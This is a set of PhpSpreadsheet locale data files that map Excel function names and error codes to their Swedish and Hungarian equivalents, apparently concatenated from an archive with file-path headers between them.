DSTDAVP DSUM = DSUMMA DVAR = DVARIANS DVARP = DVARIANSP ## ## Tid- och datumfunktioner (Date & Time Functions) ## DATE = DATUM DATEVALUE = DATUMVÄRDE DAY = DAG DAYS = DAGAR DAYS360 = DAGAR360 EDATE = EDATUM EOMONTH = SLUTMÅNAD HOUR = TIMME ISOWEEKNUM = ISOVECKONR MINUTE = MINUT MONTH = MÅNAD NETWORKDAYS = NETTOARBETSDAGAR NETWORKDAYS.INTL = NETTOARBETSDAGAR.INT NOW = NU SECOND = SEKUND THAIDAYOFWEEK = THAIVECKODAG THAIMONTHOFYEAR = THAIMÅNAD THAIYEAR = THAIÅR TIME = KLOCKSLAG TIMEVALUE = TIDVÄRDE TODAY = IDAG WEEKDAY = VECKODAG WEEKNUM = VECKONR WORKDAY = ARBETSDAGAR WORKDAY.INTL = ARBETSDAGAR.INT YEAR = ÅR YEARFRAC = ÅRDEL ## ## Tekniska funktioner (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN.TILL.DEC BIN2HEX = BIN.TILL.HEX BIN2OCT = BIN.TILL.OKT BITAND = BITOCH BITLSHIFT = BITVSKIFT BITOR = BITELLER BITRSHIFT = BITHSKIFT BITXOR = BITXELLER COMPLEX = KOMPLEX CONVERT = KONVERTERA DEC2BIN = DEC.TILL.BIN DEC2HEX = DEC.TILL.HEX DEC2OCT = DEC.TILL.OKT DELTA = DELTA ERF = FELF ERF.PRECISE = FELF.EXAKT ERFC = FELFK ERFC.PRECISE = FELFK.EXAKT GESTEP = SLSTEG HEX2BIN = HEX.TILL.BIN HEX2DEC = HEX.TILL.DEC HEX2OCT = HEX.TILL.OKT IMABS = IMABS IMAGINARY = IMAGINÄR IMARGUMENT = IMARGUMENT IMCONJUGATE = IMKONJUGAT IMCOS = IMCOS IMCOSH = IMCOSH IMCOT = IMCOT IMCSC = IMCSC IMCSCH = IMCSCH IMDIV = IMDIV IMEXP = IMEUPPHÖJT IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMUPPHÖJT IMPRODUCT = IMPRODUKT IMREAL = IMREAL IMSEC = IMSEK IMSECH = IMSEKH IMSIN = IMSIN IMSINH = IMSINH IMSQRT = IMROT IMSUB = IMDIFF IMSUM = IMSUM IMTAN = IMTAN OCT2BIN = OKT.TILL.BIN OCT2DEC = OKT.TILL.DEC OCT2HEX = OKT.TILL.HEX ## ## Finansiella funktioner (Financial Functions) ## ACCRINT = UPPLRÄNTA ACCRINTM = UPPLOBLRÄNTA AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = KUPDAGBB COUPDAYS = KUPDAGB COUPDAYSNC = KUPDAGNK COUPNCD = KUPNKD COUPNUM = KUPANT COUPPCD = KUPFKD CUMIPMT = KUMRÄNTA CUMPRINC = KUMPRIS DB = DB DDB = DEGAVSKR DISC = DISK DOLLARDE = DECTAL DOLLARFR = BRÅK DURATION = LÖPTID EFFECT = EFFRÄNTA FV = SLUTVÄRDE FVSCHEDULE = FÖRRÄNTNING INTRATE = ÅRSRÄNTA IPMT = RBETALNING IRR = IR ISPMT = RALÅN MDURATION = MLÖPTID MIRR = MODIR NOMINAL = NOMRÄNTA NPER = PERIODER NPV = NETNUVÄRDE ODDFPRICE = UDDAFPRIS ODDFYIELD = UDDAFAVKASTNING ODDLPRICE = UDDASPRIS ODDLYIELD = UDDASAVKASTNING PDURATION = PLÖPTID PMT = BETALNING PPMT = AMORT PRICE = PRIS PRICEDISC = PRISDISK PRICEMAT = PRISFÖRF PV = NUVÄRDE RATE = RÄNTA RECEIVED = BELOPP RRI = AVKPÅINVEST SLN = LINAVSKR SYD = ÅRSAVSKR TBILLEQ = SSVXEKV TBILLPRICE = SSVXPRIS TBILLYIELD = SSVXRÄNTA VDB = VDEGRAVSKR XIRR = XIRR XNPV = XNUVÄRDE YIELD = NOMAVK YIELDDISC = NOMAVKDISK YIELDMAT = NOMAVKFÖRF ## ## Informationsfunktioner (Information Functions) ## CELL = CELL ERROR.TYPE = FEL.TYP INFO = INFO ISBLANK = ÄRTOM ISERR = ÄRF ISERROR = ÄRFEL ISEVEN = ÄRJÄMN ISFORMULA = ÄRFORMEL ISLOGICAL = ÄRLOGISK ISNA = ÄRSAKNAD ISNONTEXT = ÄREJTEXT ISNUMBER = ÄRTAL ISODD = ÄRUDDA ISREF = ÄRREF ISTEXT = ÄRTEXT N = N NA = SAKNAS SHEET = BLAD SHEETS = ANTALBLAD TYPE = VÄRDETYP ## ## Logiska funktioner (Logical Functions) ## AND = OCH FALSE = FALSKT IF = OM IFERROR = OMFEL IFNA = OMSAKNAS IFS = IFS NOT = ICKE OR = ELLER SWITCH = VÄXLA TRUE = SANT XOR = XELLER ## ## Sök- och referensfunktioner (Lookup & Reference Functions) ## ADDRESS = ADRESS AREAS = OMRÅDEN CHOOSE = VÄLJ COLUMN = KOLUMN COLUMNS = KOLUMNER FORMULATEXT = FORMELTEXT GETPIVOTDATA = HÄMTA.PIVOTDATA HLOOKUP = LETAKOLUMN HYPERLINK = HYPERLÄNK INDEX = INDEX INDIRECT = INDIREKT LOOKUP = LETAUPP MATCH = PASSA OFFSET = FÖRSKJUTNING ROW = RAD ROWS = RADER RTD = RTD TRANSPOSE = TRANSPONERA VLOOKUP = LETARAD *RC = RK ## ## Matematiska och trigonometriska funktioner (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ARCCOSH ACOT = ARCCOT ACOTH = ARCCOTH AGGREGATE = MÄNGD ARABIC = ARABISKA ASIN = ARCSIN ASINH = ARCSINH ATAN = ARCTAN ATAN2 = ARCTAN2 ATANH = ARCTANH BASE = BAS CEILING.MATH = RUNDA.UPP.MATEMATISKT CEILING.PRECISE = RUNDA.UPP.EXAKT COMBIN = KOMBIN COMBINA = KOMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMAL DEGREES = GRADER ECMA.CEILING = ECMA.RUNDA.UPP EVEN = JÄMN EXP = EXP FACT = FAKULTET FACTDOUBLE = DUBBELFAKULTET FLOOR.MATH = RUNDA.NER.MATEMATISKT FLOOR.PRECISE = RUNDA.NER.EXAKT GCD = SGD INT = HELTAL ISO.CEILING = ISO.RUNDA.UPP LCM = MGM LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = MINVERT MMULT = MMULT MOD = REST MROUND = MAVRUNDA MULTINOMIAL = MULTINOMIAL MUNIT = MENHET ODD = UDDA PI = PI POWER = UPPHÖJT.TILL PRODUCT = PRODUKT QUOTIENT = KVOT RADIANS = RADIANER RAND = SLUMP RANDBETWEEN = SLUMP.MELLAN ROMAN = ROMERSK ROUND = AVRUNDA ROUNDBAHTDOWN = AVRUNDABAHTNEDÅT ROUNDBAHTUP = AVRUNDABAHTUPPÅT ROUNDDOWN = AVRUNDA.NEDÅT ROUNDUP = AVRUNDA.UPPÅT SEC = SEK SECH = SEKH SERIESSUM = SERIESUMMA SIGN = TECKEN SIN = SIN SINH = SINH SQRT = ROT SQRTPI = ROTPI SUBTOTAL = DELSUMMA SUM = SUMMA SUMIF = SUMMA.OM SUMIFS = SUMMA.OMF SUMPRODUCT = PRODUKTSUMMA SUMSQ = KVADRATSUMMA SUMX2MY2 = SUMMAX2MY2 SUMX2PY2 = SUMMAX2PY2 SUMXMY2 = SUMMAXMY2 TAN = TAN TANH = TANH TRUNC = AVKORTA ## ## Statistiska funktioner (Statistical Functions) ## AVEDEV = MEDELAVV AVERAGE = MEDEL AVERAGEA = AVERAGEA AVERAGEIF = MEDEL.OM AVERAGEIFS = MEDEL.OMF BETA.DIST = BETA.FÖRD BETA.INV = BETA.INV BINOM.DIST = BINOM.FÖRD BINOM.DIST.RANGE = BINOM.FÖRD.INTERVALL BINOM.INV = BINOM.INV CHISQ.DIST = CHI2.FÖRD CHISQ.DIST.RT = CHI2.FÖRD.RT CHISQ.INV = CHI2.INV CHISQ.INV.RT = CHI2.INV.RT CHISQ.TEST = CHI2.TEST CONFIDENCE.NORM = KONFIDENS.NORM CONFIDENCE.T = KONFIDENS.T CORREL = KORREL COUNT = ANTAL COUNTA = ANTALV COUNTBLANK = ANTAL.TOMMA COUNTIF = ANTAL.OM COUNTIFS = ANTAL.OMF COVARIANCE.P = KOVARIANS.P COVARIANCE.S = KOVARIANS.S DEVSQ = KVADAVV EXPON.DIST = EXPON.FÖRD F.DIST = F.FÖRD F.DIST.RT = F.FÖRD.RT F.INV = F.INV F.INV.RT = F.INV.RT F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PROGNOS.ETS FORECAST.ETS.CONFINT = PROGNOS.ETS.KONFINT FORECAST.ETS.SEASONALITY = PROGNOS.ETS.SÄSONGSBEROENDE FORECAST.ETS.STAT = PROGNOS.ETS.STAT FORECAST.LINEAR = PROGNOS.LINJÄR FREQUENCY = FREKVENS GAMMA = GAMMA GAMMA.DIST = GAMMA.FÖRD GAMMA.INV = GAMMA.INV GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.EXAKT GAUSS = GAUSS GEOMEAN = GEOMEDEL GROWTH = EXPTREND HARMEAN = HARMMEDEL HYPGEOM.DIST = HYPGEOM.FÖRD INTERCEPT = SKÄRNINGSPUNKT KURT = TOPPIGHET LARGE = STÖRSTA LINEST = REGR LOGEST = EXPREGR LOGNORM.DIST = LOGNORM.FÖRD LOGNORM.INV = LOGNORM.INV MAX = MAX MAXA = MAXA MAXIFS = MAXIFS MEDIAN = MEDIAN MIN = MIN MINA = MINA MINIFS = MINIFS MODE.MULT = TYPVÄRDE.FLERA MODE.SNGL = TYPVÄRDE.ETT NEGBINOM.DIST = NEGBINOM.FÖRD NORM.DIST = NORM.FÖRD NORM.INV = NORM.INV NORM.S.DIST = NORM.S.FÖRD NORM.S.INV = NORM.S.INV PEARSON = PEARSON PERCENTILE.EXC = PERCENTIL.EXK PERCENTILE.INC = PERCENTIL.INK PERCENTRANK.EXC = PROCENTRANG.EXK PERCENTRANK.INC = PROCENTRANG.INK PERMUT = PERMUT PERMUTATIONA = PERMUTATIONA PHI = PHI POISSON.DIST = POISSON.FÖRD PROB = SANNOLIKHET QUARTILE.EXC = KVARTIL.EXK QUARTILE.INC = KVARTIL.INK RANK.AVG = RANG.MED RANK.EQ = RANG.EKV RSQ = RKV SKEW = SNEDHET SKEW.P = SNEDHET.P SLOPE = LUTNING SMALL = MINSTA STANDARDIZE = STANDARDISERA STDEV.P = STDAV.P STDEV.S = STDAV.S STDEVA = STDEVA STDEVPA = STDEVPA STEYX = STDFELYX T.DIST = T.FÖRD T.DIST.2T = T.FÖRD.2T T.DIST.RT = T.FÖRD.RT T.INV = T.INV T.INV.2T = T.INV.2T T.TEST = T.TEST TREND = TREND TRIMMEAN = TRIMMEDEL VAR.P = VARIANS.P VAR.S = VARIANS.S VARA = VARA VARPA = VARPA WEIBULL.DIST = WEIBULL.FÖRD Z.TEST = Z.TEST ## ## Textfunktioner (Text Functions) ## BAHTTEXT = BAHTTEXT CHAR = TECKENKOD CLEAN = STÄDA CODE = KOD CONCAT = SAMMAN DOLLAR = VALUTA EXACT = EXAKT FIND = HITTA FIXED = FASTTAL LEFT = VÄNSTER LEN = LÄNGD LOWER = GEMENER MID = EXTEXT NUMBERVALUE = TALVÄRDE PROPER = INITIAL REPLACE = ERSÄTT REPT = REP RIGHT = HÖGER SEARCH = SÖK SUBSTITUTE = BYT.UT T = T TEXT = TEXT TEXTJOIN = TEXTJOIN THAIDIGIT = THAISIFFRA THAINUMSOUND = THAITALLJUD THAINUMSTRING = THAITALSTRÄNG THAISTRINGLENGTH = THAISTRÄNGLÄNGD TRIM = RENSA UNICHAR = UNITECKENKOD UNICODE = UNICODE UPPER = VERSALER VALUE = TEXTNUM ## ## Webbfunktioner (Web Functions) ## ENCODEURL = KODAWEBBADRESS FILTERXML = FILTRERAXML WEBSERVICE = WEBBTJÄNST ## ## Kompatibilitetsfunktioner (Compatibility Functions) ## BETADIST = BETAFÖRD BETAINV = BETAINV BINOMDIST = BINOMFÖRD CEILING = RUNDA.UPP CHIDIST = CHI2FÖRD CHIINV = CHI2INV CHITEST = CHI2TEST CONCATENATE = SAMMANFOGA CONFIDENCE = KONFIDENS COVAR = KOVAR CRITBINOM = KRITBINOM EXPONDIST = EXPONFÖRD FDIST = FFÖRD FINV = FINV FLOOR = RUNDA.NER FORECAST = PREDIKTION FTEST = FTEST GAMMADIST = GAMMAFÖRD GAMMAINV = GAMMAINV HYPGEOMDIST = HYPGEOMFÖRD LOGINV = LOGINV LOGNORMDIST = LOGNORMFÖRD MODE = TYPVÄRDE NEGBINOMDIST = NEGBINOMFÖRD NORMDIST = NORMFÖRD NORMINV = NORMINV NORMSDIST = NORMSFÖRD NORMSINV = NORMSINV PERCENTILE = PERCENTIL PERCENTRANK = PROCENTRANG POISSON = POISSON QUARTILE = KVARTIL RANK = RANG STDEV = STDAV STDEVP = STDAVP TDIST = TFÖRD TINV = TINV TTEST = TTEST VAR = VARIANS VARP = VARIANSP WEIBULL = WEIBULL ZTEST = ZTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/sv/config000064400000000542151676714400022565 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Svenska (Swedish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #SKÄRNING! DIV0 = #DIVISION/0! VALUE = #VÄRDEFEL! REF = #REFERENS! NAME = #NAMN? NUM = #OGILTIGT! NA = #SAKNAS! phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/hu/functions000064400000025073151676714400023322 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Magyar (Hungarian) ## ############################################################ ## ## Kockafüggvények (Cube Functions) ## CUBEKPIMEMBER = KOCKA.FŐTELJMUT CUBEMEMBER = KOCKA.TAG CUBEMEMBERPROPERTY = KOCKA.TAG.TUL CUBERANKEDMEMBER = KOCKA.HALM.ELEM CUBESET = KOCKA.HALM CUBESETCOUNT = KOCKA.HALM.DB CUBEVALUE = KOCKA.ÉRTÉK ## ## Adatbázis-kezelő függvények (Database Functions) ## DAVERAGE = AB.ÁTLAG DCOUNT = AB.DARAB DCOUNTA = AB.DARAB2 DGET = AB.MEZŐ DMAX = AB.MAX DMIN = AB.MIN DPRODUCT = AB.SZORZAT DSTDEV = AB.SZÓRÁS DSTDEVP = AB.SZÓRÁS2 DSUM = AB.SZUM DVAR = AB.VAR DVARP = AB.VAR2 ## ## Dátumfüggvények (Date & Time Functions) ## DATE = DÁTUM DATEDIF = DÁTUMTÓLIG DATESTRING = DÁTUMSZÖVEG DATEVALUE = DÁTUMÉRTÉK DAY = NAP DAYS = NAPOK DAYS360 = NAP360 EDATE = KALK.DÁTUM EOMONTH = HÓNAP.UTOLSÓ.NAP HOUR = ÓRA ISOWEEKNUM = ISO.HÉT.SZÁMA MINUTE = PERCEK MONTH = HÓNAP NETWORKDAYS = ÖSSZ.MUNKANAP NETWORKDAYS.INTL = ÖSSZ.MUNKANAP.INTL NOW = MOST SECOND = MPERC THAIDAYOFWEEK = THAIHÉTNAPJA THAIMONTHOFYEAR = THAIHÓNAP THAIYEAR = THAIÉV TIME = IDŐ TIMEVALUE = IDŐÉRTÉK TODAY = MA WEEKDAY = HÉT.NAPJA WEEKNUM = HÉT.SZÁMA WORKDAY = KALK.MUNKANAP WORKDAY.INTL = KALK.MUNKANAP.INTL YEAR = ÉV YEARFRAC = TÖRTÉV ## ## Mérnöki függvények (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN.DEC BIN2HEX = BIN.HEX BIN2OCT = BIN.OKT BITAND = BIT.ÉS BITLSHIFT = BIT.BAL.ELTOL BITOR = BIT.VAGY BITRSHIFT = BIT.JOBB.ELTOL BITXOR = BIT.XVAGY COMPLEX = KOMPLEX CONVERT = KONVERTÁLÁS DEC2BIN = DEC.BIN DEC2HEX = DEC.HEX DEC2OCT = DEC.OKT DELTA = DELTA ERF = HIBAF ERF.PRECISE = HIBAF.PONTOS ERFC = HIBAF.KOMPLEMENTER ERFC.PRECISE = HIBAFKOMPLEMENTER.PONTOS GESTEP = KÜSZÖBNÉL.NAGYOBB HEX2BIN = HEX.BIN HEX2DEC = HEX.DEC HEX2OCT = HEX.OKT IMABS = KÉPZ.ABSZ IMAGINARY = KÉPZETES IMARGUMENT = KÉPZ.ARGUMENT IMCONJUGATE = KÉPZ.KONJUGÁLT IMCOS = KÉPZ.COS IMCOSH = KÉPZ.COSH IMCOT = KÉPZ.COT IMCSC = KÉPZ.CSC IMCSCH = KÉPZ.CSCH IMDIV = KÉPZ.HÁNYAD IMEXP = KÉPZ.EXP IMLN = KÉPZ.LN IMLOG10 = KÉPZ.LOG10 IMLOG2 = KÉPZ.LOG2 IMPOWER = KÉPZ.HATV IMPRODUCT = KÉPZ.SZORZAT IMREAL = KÉPZ.VALÓS IMSEC = KÉPZ.SEC IMSECH = KÉPZ.SECH IMSIN = KÉPZ.SIN IMSINH = KÉPZ.SINH IMSQRT = KÉPZ.GYÖK IMSUB = KÉPZ.KÜL IMSUM = KÉPZ.ÖSSZEG IMTAN = KÉPZ.TAN OCT2BIN = OKT.BIN OCT2DEC = OKT.DEC OCT2HEX = OKT.HEX ## ## Pénzügyi függvények (Financial Functions) ## ACCRINT = IDŐSZAKI.KAMAT ACCRINTM = LEJÁRATI.KAMAT AMORDEGRC = ÉRTÉKCSÖKK.TÉNYEZŐVEL AMORLINC = ÉRTÉKCSÖKK COUPDAYBS = SZELVÉNYIDŐ.KEZDETTŐL COUPDAYS = SZELVÉNYIDŐ COUPDAYSNC = SZELVÉNYIDŐ.KIFIZETÉSTŐL COUPNCD = ELSŐ.SZELVÉNYDÁTUM COUPNUM = SZELVÉNYSZÁM COUPPCD = UTOLSÓ.SZELVÉNYDÁTUM CUMIPMT = ÖSSZES.KAMAT CUMPRINC = ÖSSZES.TŐKERÉSZ DB = KCS2 DDB = KCSA DISC = LESZÁM DOLLARDE = FORINT.DEC DOLLARFR = FORINT.TÖRT DURATION = KAMATÉRZ EFFECT = TÉNYLEGES FV = JBÉ FVSCHEDULE = KJÉ INTRATE = KAMATRÁTA IPMT = RRÉSZLET IRR = BMR ISPMT = LRÉSZLETKAMAT MDURATION = MKAMATÉRZ MIRR = MEGTÉRÜLÉS NOMINAL = NÉVLEGES NPER = PER.SZÁM NPV = NMÉ ODDFPRICE = ELTÉRŐ.EÁR ODDFYIELD = ELTÉRŐ.EHOZAM ODDLPRICE = ELTÉRŐ.UÁR ODDLYIELD = ELTÉRŐ.UHOZAM PDURATION = KAMATÉRZ.PER PMT = RÉSZLET PPMT = PRÉSZLET PRICE = ÁR PRICEDISC = ÁR.LESZÁM PRICEMAT = ÁR.LEJÁRAT PV = MÉ RATE = RÁTA RECEIVED = KAPOTT RRI = MR SLN = LCSA SYD = ÉSZÖ TBILLEQ = KJEGY.EGYENÉRT TBILLPRICE = KJEGY.ÁR TBILLYIELD = KJEGY.HOZAM VDB = ÉCSRI XIRR = XBMR XNPV = XNJÉ YIELD = HOZAM YIELDDISC = HOZAM.LESZÁM YIELDMAT = HOZAM.LEJÁRAT ## ## Információs függvények (Information Functions) ## CELL = CELLA ERROR.TYPE = HIBA.TÍPUS INFO = INFÓ ISBLANK = ÜRES ISERR = HIBA.E ISERROR = HIBÁS ISEVEN = PÁROSE ISFORMULA = KÉPLET ISLOGICAL = LOGIKAI ISNA = NINCS ISNONTEXT = NEM.SZÖVEG ISNUMBER = SZÁM ISODD = PÁRATLANE ISREF = HIVATKOZÁS ISTEXT = SZÖVEG.E N = S NA = HIÁNYZIK SHEET = LAP SHEETS = LAPOK TYPE = TÍPUS ## ## Logikai függvények (Logical Functions) ## AND = ÉS FALSE = HAMIS IF = HA IFERROR = HAHIBA IFNA = HAHIÁNYZIK IFS = HAELSŐIGAZ NOT = NEM OR = VAGY SWITCH = ÁTVÁLT TRUE = IGAZ XOR = XVAGY ## ## Keresési és hivatkozási függvények (Lookup & Reference Functions) ## ADDRESS = CÍM AREAS = TERÜLET CHOOSE = VÁLASZT COLUMN = OSZLOP COLUMNS = OSZLOPOK FORMULATEXT = KÉPLETSZÖVEG GETPIVOTDATA = KIMUTATÁSADATOT.VESZ HLOOKUP = VKERES HYPERLINK = HIPERHIVATKOZÁS INDEX = INDEX INDIRECT = INDIREKT LOOKUP = KERES MATCH = HOL.VAN OFFSET = ELTOLÁS ROW = SOR ROWS = SOROK RTD = VIA TRANSPOSE = TRANSZPONÁLÁS VLOOKUP = FKERES *RC = SO ## ## Matematikai és trigonometrikus függvények (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ACOSH ACOT = ARCCOT ACOTH = ARCCOTH AGGREGATE = ÖSSZESÍT ARABIC = ARAB ASIN = ARCSIN ASINH = ASINH ATAN = ARCTAN ATAN2 = ARCTAN2 ATANH = ATANH BASE = ALAP CEILING.MATH = PLAFON.MAT CEILING.PRECISE = PLAFON.PONTOS COMBIN = KOMBINÁCIÓK COMBINA = KOMBINÁCIÓK.ISM COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = TIZEDES DEGREES = FOK ECMA.CEILING = ECMA.PLAFON EVEN = PÁROS EXP = KITEVŐ FACT = FAKT FACTDOUBLE = FAKTDUPLA FLOOR.MATH = PADLÓ.MAT FLOOR.PRECISE = PADLÓ.PONTOS GCD = LKO INT = INT ISO.CEILING = ISO.PLAFON LCM = LKT LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = INVERZ.MÁTRIX MMULT = MSZORZAT MOD = MARADÉK MROUND = TÖBBSZ.KEREKÍT MULTINOMIAL = SZORHÁNYFAKT MUNIT = MMÁTRIX ODD = PÁRATLAN PI = PI POWER = HATVÁNY PRODUCT = SZORZAT QUOTIENT = KVÓCIENS RADIANS = RADIÁN RAND = VÉL RANDBETWEEN = VÉLETLEN.KÖZÖTT ROMAN = RÓMAI ROUND = KEREKÍTÉS ROUNDBAHTDOWN = BAHTKEREK.LE ROUNDBAHTUP = BAHTKEREK.FEL ROUNDDOWN = KEREK.LE ROUNDUP = KEREK.FEL SEC = SEC SECH = SECH SERIESSUM = SORÖSSZEG SIGN = ELŐJEL SIN = SIN SINH = SINH SQRT = GYÖK SQRTPI = GYÖKPI SUBTOTAL = RÉSZÖSSZEG SUM = SZUM SUMIF = SZUMHA SUMIFS = SZUMHATÖBB SUMPRODUCT = SZORZATÖSSZEG SUMSQ = NÉGYZETÖSSZEG SUMX2MY2 = SZUMX2BŐLY2 SUMX2PY2 = SZUMX2MEGY2 SUMXMY2 = SZUMXBŐLY2 TAN = TAN TANH = TANH TRUNC = CSONK ## ## Statisztikai függvények (Statistical Functions) ## AVEDEV = ÁTL.ELTÉRÉS AVERAGE = ÁTLAG AVERAGEA = ÁTLAGA AVERAGEIF = ÁTLAGHA AVERAGEIFS = ÁTLAGHATÖBB BETA.DIST = BÉTA.ELOSZL BETA.INV = BÉTA.INVERZ BINOM.DIST = BINOM.ELOSZL BINOM.DIST.RANGE = BINOM.ELOSZL.TART BINOM.INV = BINOM.INVERZ CHISQ.DIST = KHINÉGYZET.ELOSZLÁS CHISQ.DIST.RT = KHINÉGYZET.ELOSZLÁS.JOBB CHISQ.INV = KHINÉGYZET.INVERZ CHISQ.INV.RT = KHINÉGYZET.INVERZ.JOBB CHISQ.TEST = KHINÉGYZET.PRÓBA CONFIDENCE.NORM = MEGBÍZHATÓSÁG.NORM CONFIDENCE.T = MEGBÍZHATÓSÁG.T CORREL = KORREL COUNT = DARAB COUNTA = DARAB2 COUNTBLANK = DARABÜRES COUNTIF = DARABTELI COUNTIFS = DARABHATÖBB COVARIANCE.P = KOVARIANCIA.S COVARIANCE.S = KOVARIANCIA.M DEVSQ = SQ EXPON.DIST = EXP.ELOSZL F.DIST = F.ELOSZL F.DIST.RT = F.ELOSZLÁS.JOBB F.INV = F.INVERZ F.INV.RT = F.INVERZ.JOBB F.TEST = F.PRÓB FISHER = FISHER FISHERINV = INVERZ.FISHER FORECAST.ETS = ELŐREJELZÉS.ESIM FORECAST.ETS.CONFINT = ELŐREJELZÉS.ESIM.KONFINT FORECAST.ETS.SEASONALITY = ELŐREJELZÉS.ESIM.SZEZONALITÁS FORECAST.ETS.STAT = ELŐREJELZÉS.ESIM.STAT FORECAST.LINEAR = ELŐREJELZÉS.LINEÁRIS FREQUENCY = GYAKORISÁG GAMMA = GAMMA GAMMA.DIST = GAMMA.ELOSZL GAMMA.INV = GAMMA.INVERZ GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.PONTOS GAUSS = GAUSS GEOMEAN = MÉRTANI.KÖZÉP GROWTH = NÖV HARMEAN = HARM.KÖZÉP HYPGEOM.DIST = HIPGEOM.ELOSZLÁS INTERCEPT = METSZ KURT = CSÚCSOSSÁG LARGE = NAGY LINEST = LIN.ILL LOGEST = LOG.ILL LOGNORM.DIST = LOGNORM.ELOSZLÁS LOGNORM.INV = LOGNORM.INVERZ MAX = MAX MAXA = MAXA MAXIFS = MAXHA MEDIAN = MEDIÁN MIN = MIN MINA = MIN2 MINIFS = MINHA MODE.MULT = MÓDUSZ.TÖBB MODE.SNGL = MÓDUSZ.EGY NEGBINOM.DIST = NEGBINOM.ELOSZLÁS NORM.DIST = NORM.ELOSZLÁS NORM.INV = NORM.INVERZ NORM.S.DIST = NORM.S.ELOSZLÁS NORM.S.INV = NORM.S.INVERZ PEARSON = PEARSON PERCENTILE.EXC = PERCENTILIS.KIZÁR PERCENTILE.INC = PERCENTILIS.TARTALMAZ PERCENTRANK.EXC = SZÁZALÉKRANG.KIZÁR PERCENTRANK.INC = SZÁZALÉKRANG.TARTALMAZ PERMUT = VARIÁCIÓK PERMUTATIONA = VARIÁCIÓK.ISM PHI = FI POISSON.DIST = POISSON.ELOSZLÁS PROB = VALÓSZÍNŰSÉG QUARTILE.EXC = KVARTILIS.KIZÁR QUARTILE.INC = KVARTILIS.TARTALMAZ RANK.AVG = RANG.ÁTL RANK.EQ = RANG.EGY RSQ = RNÉGYZET SKEW = FERDESÉG SKEW.P = FERDESÉG.P SLOPE = MEREDEKSÉG SMALL = KICSI STANDARDIZE = NORMALIZÁLÁS STDEV.P = SZÓR.S STDEV.S = SZÓR.M STDEVA = SZÓRÁSA STDEVPA = SZÓRÁSPA STEYX = STHIBAYX T.DIST = T.ELOSZL T.DIST.2T = T.ELOSZLÁS.2SZ T.DIST.RT = T.ELOSZLÁS.JOBB T.INV = T.INVERZ T.INV.2T = T.INVERZ.2SZ T.TEST = T.PRÓB TREND = TREND TRIMMEAN = RÉSZÁTLAG VAR.P = VAR.S VAR.S = VAR.M VARA = VARA VARPA = VARPA WEIBULL.DIST = WEIBULL.ELOSZLÁS Z.TEST = Z.PRÓB ## ## Szövegműveletekhez használható függvények (Text Functions) ## BAHTTEXT = BAHTSZÖVEG CHAR = KARAKTER CLEAN = TISZTÍT CODE = KÓD CONCAT = FŰZ DOLLAR = FORINT EXACT = AZONOS FIND = SZÖVEG.TALÁL FIXED = FIX ISTHAIDIGIT = ON.THAI.NUMERO LEFT = BAL LEN = HOSSZ LOWER = KISBETŰ MID = KÖZÉP NUMBERSTRING = SZÁM.BETŰVEL NUMBERVALUE = SZÁMÉRTÉK PHONETIC = FONETIKUS PROPER = TNÉV REPLACE = CSERE REPT = SOKSZOR RIGHT = JOBB SEARCH = SZÖVEG.KERES SUBSTITUTE = HELYETTE T = T TEXT = SZÖVEG TEXTJOIN = SZÖVEGÖSSZEFŰZÉS THAIDIGIT = THAISZÁM THAINUMSOUND = THAISZÁMHANG THAINUMSTRING = THAISZÁMKAR THAISTRINGLENGTH = THAIKARHOSSZ TRIM = KIMETSZ UNICHAR = UNIKARAKTER UNICODE = UNICODE UPPER = NAGYBETŰS VALUE = ÉRTÉK ## ## Webes függvények (Web Functions) ## ENCODEURL = URL.KÓDOL FILTERXML = XMLSZŰRÉS WEBSERVICE = WEBSZOLGÁLTATÁS ## ## Kompatibilitási függvények (Compatibility Functions) ## BETADIST = BÉTA.ELOSZLÁS BETAINV = INVERZ.BÉTA BINOMDIST = BINOM.ELOSZLÁS CEILING = PLAFON CHIDIST = KHI.ELOSZLÁS CHIINV = INVERZ.KHI CHITEST = KHI.PRÓBA CONCATENATE = ÖSSZEFŰZ CONFIDENCE = MEGBÍZHATÓSÁG COVAR = KOVAR CRITBINOM = KRITBINOM EXPONDIST = EXP.ELOSZLÁS FDIST = F.ELOSZLÁS FINV = INVERZ.F FLOOR = PADLÓ FORECAST = ELŐREJELZÉS FTEST = F.PRÓBA GAMMADIST = GAMMA.ELOSZLÁS GAMMAINV = INVERZ.GAMMA HYPGEOMDIST = HIPERGEOM.ELOSZLÁS LOGINV = INVERZ.LOG.ELOSZLÁS LOGNORMDIST = LOG.ELOSZLÁS MODE = MÓDUSZ NEGBINOMDIST = NEGBINOM.ELOSZL NORMDIST = NORM.ELOSZL NORMINV = INVERZ.NORM NORMSDIST = STNORMELOSZL NORMSINV = INVERZ.STNORM PERCENTILE = PERCENTILIS PERCENTRANK = SZÁZALÉKRANG POISSON = POISSON QUARTILE = KVARTILIS RANK = SORSZÁM STDEV = SZÓRÁS STDEVP = SZÓRÁSP TDIST = T.ELOSZLÁS TINV = INVERZ.T TTEST = T.PRÓBA VAR = VAR VARP = VARP WEIBULL = WEIBULL ZTEST = Z.PRÓBA phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/hu/config000064400000000531151676714400022547 0ustar00############################################################ ## ## 